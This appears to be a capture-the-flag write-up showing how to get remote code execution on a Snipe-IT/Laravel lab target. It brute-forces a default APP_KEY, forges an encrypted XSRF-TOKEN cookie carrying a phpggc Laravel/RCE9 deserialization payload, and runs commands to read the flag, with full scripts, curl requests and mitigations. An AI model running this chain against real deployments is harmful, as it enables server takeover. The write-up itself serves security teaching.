Challenge: Asset Manager
Category: Web / Remote Code Execution
Difficulty: Medium
Target:asset-manager-8350[.]labs[.]perfectroot[.]io:8350
Flag: `r00t{REDACTED}
Table of Contents
- Overview
- Initial Recon
- Analyzing the XSRF Token
- Recovering the APP_KEY
- Generating the RCE Payload
- Confirming Remote Code Execution
- Finding the Flag
- Extracting the Flag
- Final Flag
- Attack Chain
- Lessons Learned
Overview
The challenge provides access to a Snipe-IT instance running on Laravel.
The goal is to obtain remote command execution and read the flag from the target.
The attack chain was:
Snipe-IT
↓
Laravel encrypted XSRF-TOKEN
↓
Recover default APP_KEY
↓
Forge Laravel encrypted cookie
↓
PHP deserialization
↓
Laravel/RCE9 gadget chain
↓
Remote command execution
↓
Find /opt/ctf/flag.txt
↓
Read flag
The important vulnerability was the ability to create a malicious serialized PHP object and encrypt it using the application’s known APP_KEY.
Initial Recon
The target was:
hxxp://asset-manager-8350[.]labs[.]perfectroot[.]io:8350
The application was identified as Snipe-IT, which is built using Laravel.
The initial focus was the Laravel XSRF-TOKEN cookie.
The working directory contained:
asset_manager/
├── laravel-crypto-killer/
├── phpggc/
├── xsrf.clean
└── xsrf.txt
The two most important tools were:
-
laravel-crypto-killer— Laravel encryption/decryption tooling -
phpggc— PHP deserialization gadget-chain generator
Analyzing the XSRF Token
Laravel uses encrypted cookies.
The captured XSRF token was saved as:
xsrf.clean
The laravel-crypto-killer project contained a Laravel encryption implementation:
laravel-crypto-killer/lib/core/laravel_encrypter.py
It provided functions for:
-
decrypting Laravel ciphertext
-
encrypting values
-
parsing Laravel cookies
-
testing candidate encryption keys
The project also contained a Snipe-IT default key wordlist:
laravel-crypto-killer/wordlists/snipe-it_default.txt
Recovering the APP_KEY
The first objective was to determine whether the application was using one of the known/default Snipe-IT keys.
The following script was used:
cd ~/Downloads/dojo/31_nights/web/asset_manager/phpggc
python3 - <<'PY'
from pathlib import Path
import sys
sys.path.insert(0, "../laravel-crypto-killer")
from lib.core.laravel_encrypter import LaravelEncrypter
cipher = Path("../xsrf.clean").read_text().strip()
with open("../laravel-crypto-killer/wordlists/snipe-it_default.txt", "r") as f:
result = LaravelEncrypter().bruteforce_from_file(f, cipher)
if result:
print("[+] APP_KEY FOUND")
print("[+] Key:", result["key"])
print("[+] Decrypted value:")
print(result["value"])
else:
print("[-] Key not found")
PY
The correct key was found:
base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
This was the key piece of information needed to forge valid Laravel encrypted cookies.
The decrypted cookie contained:
s:81:"60df322f0820f6ad9767a45596a3de165d76a812|sIxRtTW7e7unjbmC8R6I3OWGq2MIUJRgi2fMcvNV";
The s:81: prefix indicates a PHP serialized string.
This confirmed that the cookie contained PHP serialized data.
Generating the RCE Payload
With the Laravel APP_KEY recovered, the next step was generating a PHP deserialization payload.
phpggc was already available in the working directory.
The relevant gadget chain was:
Laravel/RCE9
A simple command execution payload could be generated with:
php phpggc Laravel/RCE9 system id -b
The system function allows the gadget chain to execute an operating-system command.
For example:
system("id")
The PHPGGC command produced a deprecation warning:
PHP Deprecated: Creation of dynamic property Illuminate\Broadcasting\BroadcastEvent::$connection is deprecated
This did not prevent the payload from being generated.
Encrypting the Payload
The serialized PHPGGC payload needed to be encrypted using the recovered Laravel APP_KEY.
The following script generated and encrypted the payload:
python3 - <<'PY' > /tmp/forged_xsrf
import subprocess
import sys
sys.path.insert(0, "../laravel-crypto-killer")
from lib.core.laravel_encrypter import LaravelEncrypter
key = "base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ="
payload = subprocess.check_output(
["php", "phpggc", "Laravel/RCE9", "system", "id", "-b"],
text=True,
).strip().splitlines()[-1]
print(LaravelEncrypter(key).encrypt(payload).decode())
PY
The resulting value was stored in:
/tmp/forged_xsrf
Confirming Remote Code Execution
The forged value was supplied as the XSRF-TOKEN cookie:
TOKEN=$(cat /tmp/forged_xsrf)
curl -i -sS \
-H "Cookie: XSRF-TOKEN=$TOKEN" \
hxxp://asset-manager-8350[.]labs[.]perfectroot[.]io:8350/login
The response contained:
uid=1000(docker) gid=50(staff) groups=50(staff)
This confirmed remote command execution.
The application subsequently returned:
HTTP 500
However, the HTTP 500 was not an indication that the exploit failed.
The important part was that the command output appeared before the error page:
uid=1000(docker) gid=50(staff) groups=50(staff)
<!DOCTYPE html>
<html>
...
500 Server Error
...
Therefore, the execution flow was:
Forged XSRF-TOKEN
↓
Laravel decrypts cookie
↓
PHP object is deserialized
↓
Laravel/RCE9 gadget chain executes
↓
system("id")
↓
Command output
↓
Laravel throws an exception
↓
HTTP 500
The process was running as:
docker
with:
UID: 1000
GID: 50
Finding the Flag
Now that RCE was confirmed, the next step was locating the challenge flag.
The following command was used:
find / -type f \( -iname 'flag*' -o -iname '*flag*' \) 2>/dev/null
A new PHPGGC payload was generated:
python3 - <<'PY' > /tmp/forged_find
import subprocess
import sys
sys.path.insert(0, "../laravel-crypto-killer")
from lib.core.laravel_encrypter import LaravelEncrypter
key = "base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ="
command = r"find / -type f \( -iname 'flag*' -o -iname '*flag*' \) 2>/dev/null"
payload = subprocess.check_output(
["php", "phpggc", "Laravel/RCE9", "system", command, "-b"],
text=True,
).strip().splitlines()[-1]
print(LaravelEncrypter(key).encrypt(payload).decode())
PY
The payload was then sent:
TOKEN=$(cat /tmp/forged_find)
curl -sS \
-H "Cookie: XSRF-TOKEN=$TOKEN" \
hxxp://asset-manager-8350[.]labs[.]perfectroot[.]io:8350/login
Among the results was:
/opt/ctf/flag.txt
The flag location was therefore confirmed.
Extracting the Flag
A final payload was generated to execute:
cat /opt/ctf/flag.txt
The payload was created with:
python3 - <<'PY' > /tmp/forged_cat
import subprocess
import sys
sys.path.insert(0, "../laravel-crypto-killer")
from lib.core.laravel_encrypter import LaravelEncrypter
key = "base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ="
command = "cat /opt/ctf/flag.txt"
payload = subprocess.check_output(
["php", "phpggc", "Laravel/RCE9", "system", command, "-b"],
text=True,
).strip().splitlines()[-1]
print(LaravelEncrypter(key).encrypt(payload).decode())
PY
Then:
TOKEN=$(cat /tmp/forged_cat)
curl -sS \
-H "Cookie: XSRF-TOKEN=$TOKEN" \
hxxp://asset-manager-8350[.]labs[.]perfectroot[.]io:8350/login
The server returned the flag before the usual Laravel 500 page:
r00t{REDACTED}
Final Flag
r00t{REDACTED}
Attack Chain
The complete attack can be summarized as:
Snipe-IT
↓
Laravel XSRF-TOKEN
↓
Brute-force known Snipe-IT APP_KEY
↓
APP_KEY recovered
↓
Decrypt existing cookie
↓
Confirm PHP serialized data
↓
Generate Laravel/RCE9 gadget
↓
Use system() as the command sink
↓
Encrypt malicious object with APP_KEY
↓
Forge XSRF-TOKEN
↓
Send cookie to /login
↓
Remote command execution
↓
find / -iname '*flag*'
↓
/opt/ctf/flag.txt
↓
cat /opt/ctf/flag.txt
↓
r00t{REDACTED}
Vulnerability Analysis
Mitigations
- Generate a strong, random
APP_KEYfor every Laravel deployment and never ship default keys. - Avoid deserializing user-controlled data; if unavoidable, use allowlists and signed/encrypted payloads with integrity verification.
- Upgrade Laravel and apply security patches to deserialization gadget chains.
- Implement defense-in-depth: run the application with least-privilege OS credentials and restrict outbound network access.
Lessons Learned
-
Laravel
APP_KEYis highly sensitive.
If an attacker obtains it, encrypted Laravel cookies may become forgeable. -
Encrypted cookies can become an attack surface.
Encryption does not make client-controlled data safe if the encryption key is compromised. -
PHP deserialization can lead to RCE.
When attacker-controlled serialized objects reach usable framework gadget chains, object injection can become command execution. -
PHPGGC is useful for identifying framework gadget chains.
TheLaravel/RCE9chain provided the bridge from deserialization tosystem(). -
HTTP 500 does not necessarily mean exploitation failed.
In this challenge, command output appeared before the Laravel exception. -
Confirm RCE before attempting flag extraction.
Usingidfirst established both command execution and the execution context. -
After RCE, enumerate systematically.
Searching forflagquickly identified:/opt/ctf/flag.txt
Key Artifacts
Target
hxxp://asset-manager-8350[.]labs[.]perfectroot[.]io:8350
Recovered APP_KEY
base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
Gadget Chain
Laravel/RCE9
RCE Function
system()
Execution User
uid=1000(docker)
gid=50(staff)
groups=50(staff)
Flag Location
/opt/ctf/flag.txt
Flag
r00t{REDACTED}
Conclusion
The challenge was solved by abusing the Laravel cookie encryption and PHP deserialization chain.
The critical steps were:
Recover APP_KEY
↓
Generate Laravel/RCE9 payload
↓
Encrypt payload
↓
Forge XSRF-TOKEN
↓
Trigger deserialization
↓
Execute commands
↓
Read flag
Final flag:
r00t{REDACTED}

